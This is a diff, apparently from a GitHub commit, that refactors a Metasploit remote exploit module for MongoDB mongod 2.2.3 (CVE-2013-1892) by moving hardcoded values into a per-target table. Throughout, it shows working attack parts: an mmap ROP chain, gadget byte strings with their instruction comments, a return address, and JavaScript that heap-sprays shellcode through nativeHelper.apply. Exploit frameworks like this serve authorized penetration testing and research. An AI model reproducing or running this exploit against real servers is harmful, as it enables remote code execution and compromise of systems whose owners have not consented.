9
9
10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
11
12
- include Msf ::Exploit ::Remote ::Tcp
12
+ include Msf ::Exploit ::Remote ::Tcp
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
@@ -27,10 +27,29 @@ def initialize(info={})
27
27
[ 'CVE' , '2013-1892' ] ,
28
28
] ,
29
29
'Platform' => [ 'linux' ] ,
30
- 'Arch' => ARCH_X86 ,
31
30
'Targets' =>
32
31
[
33
- [ 'mongod 2.2.3 - 32bits' , { } ]
32
+ [ 'Linux - mongod 2.2.3 - 32bits' ,
33
+ {
34
+ 'Arch' => ARCH_X86 ,
35
+ 'mmap' => [
36
+ 0x0816f768 , #mmap_64@plt
37
+ 0x0c0c0c0c , #NOPSLED+SHELLCODE
38
+ 0x0c0c0000 ,
39
+ 0x00001000 ,
40
+ 0x00000007 ,
41
+ 0x00000031 ,
42
+ 0xffffffff ,
43
+ 0x00000000 ,
44
+ ] ,
45
+ 'ret' => [ 0x08055a70 ] , #ret
46
+ 'gadget1' => "0x836e204" , #mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
47
+ #THIS GADGETS NEED TO BE COMPOSED WITH <0x80 BYTES ONLY
48
+ 'gadget2' => "\\ x58\\ x71\\ x45\\ x08" , #xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
49
+ 'gadget3' => "\\ x26\\ x18\\ x35\\ x08" , #add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
50
+ 'gadget4' => "\\ x6c\\ x5a\\ x05\\ x08" , #pop eax / ret
51
+ 'gadget5' => "\\ x58\\ x71\\ x45\\ x08" #xchg esp,eax
52
+ } ]
34
53
] ,
35
54
'DefaultTarget' => 0 ,
36
55
'License' => MSF_LICENSE
@@ -39,8 +58,7 @@ def initialize(info={})
39
58
register_options (
40
59
[
41
60
Opt ::RPORT ( 27017 ) ,
42
- Opt ::RHOST ( ) ,
43
- OptString . new ( 'DB' , [ false , "Database to use" , "" ] ) ,
61
+ OptString . new ( 'DB' , [ true , "Database to use" , "admin" ] ) ,
44
62
OptString . new ( 'Collection' , [ false , "Collection to use (it must to exist). Better to let empty" , "" ] ) ,
45
63
OptString . new ( 'Username' , [ false , "Login to use" , "" ] ) ,
46
64
OptString . new ( 'Password' , [ false , "Password to use" , "" ] )
@@ -77,29 +95,22 @@ def exploit
77
95
end
78
96
end
79
97
print_status ( "Let's exploit, heap spray could take some time..." )
98
+
99
+ my_target = target
80
100
81
101
shellcode = Rex ::Text . to_unescape ( payload . encoded )
82
102
83
- mmap = [
84
- 0x0816f768 ,
85
- 0x0c0c0c0c ,
86
- 0x0c0c0000 ,
87
- 0x00001000 ,
88
- 0x00000007 ,
89
- 0x00000031 ,
90
- 0xffffffff ,
91
- 0x00000000 ,
92
- ] . pack ( "V*" )
103
+ mmap = my_target [ 'mmap' ] . pack ( "V*" )
93
104
94
- ret = [ 0x08055a70 ] . pack ( "V*" )
105
+ ret = my_target [ 'ret' ] . pack ( "V*" )
95
106
96
- gadget1 = "0x836e204" #mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c ]
107
+ gadget1 = my_target [ 'gadget1' ]
97
108
98
- #THIS GADGETS NEED TO BE COMPOSED WITH <0x80 BYTES ONLY
99
- gadget2 = " \\ x58 \\ x71 \\ x45 \\ x08" #xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
100
- gadget3 = " \\ x26 \\ x18 \\ x35 \\ x08" #add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
101
- gadget4 = " \\ x6c \\ x5a \\ x05 \\ x08" #pop eax / ret
102
- gadget5 = " \\ x58 \\ x71 \\ x45 \\ x08" #xchg esp,eax
109
+
110
+ gadget2 = my_target [ 'gadget2' ]
111
+ gadget3 = my_target [ 'gadget3' ]
112
+ gadget4 = my_target [ 'gadget4' ]
113
+ gadget5 = my_target [ 'gadget5' ]
103
114
104
115
shellcode_var = "a" +Rex ::Text . rand_text_hex ( 4 )
105
116
sizechunk_var = "b" +Rex ::Text . rand_text_hex ( 4 )
@@ -132,6 +143,7 @@ def exploit
132
143
payloadJS << 'nativeHelper.apply({"x" : ' +gadget1 +'}, '
133
144
payloadJS << '["A"+"' +gadget3 +'"+"' +Rex ::Text . rand_text_hex ( 12 ) +'"+"' +gadget2 +'"+"' +Rex ::Text . rand_text_hex ( 28 ) +'"+"' +gadget4 +'"+"\\x20\\x20\\x20\\x20"+"' +gadget5 +'"]);'
134
145
146
+
135
147
request_id = Rex ::Text . rand_text ( 4 )
136
148
137
149
packet = request_id #requestID
0 commit comments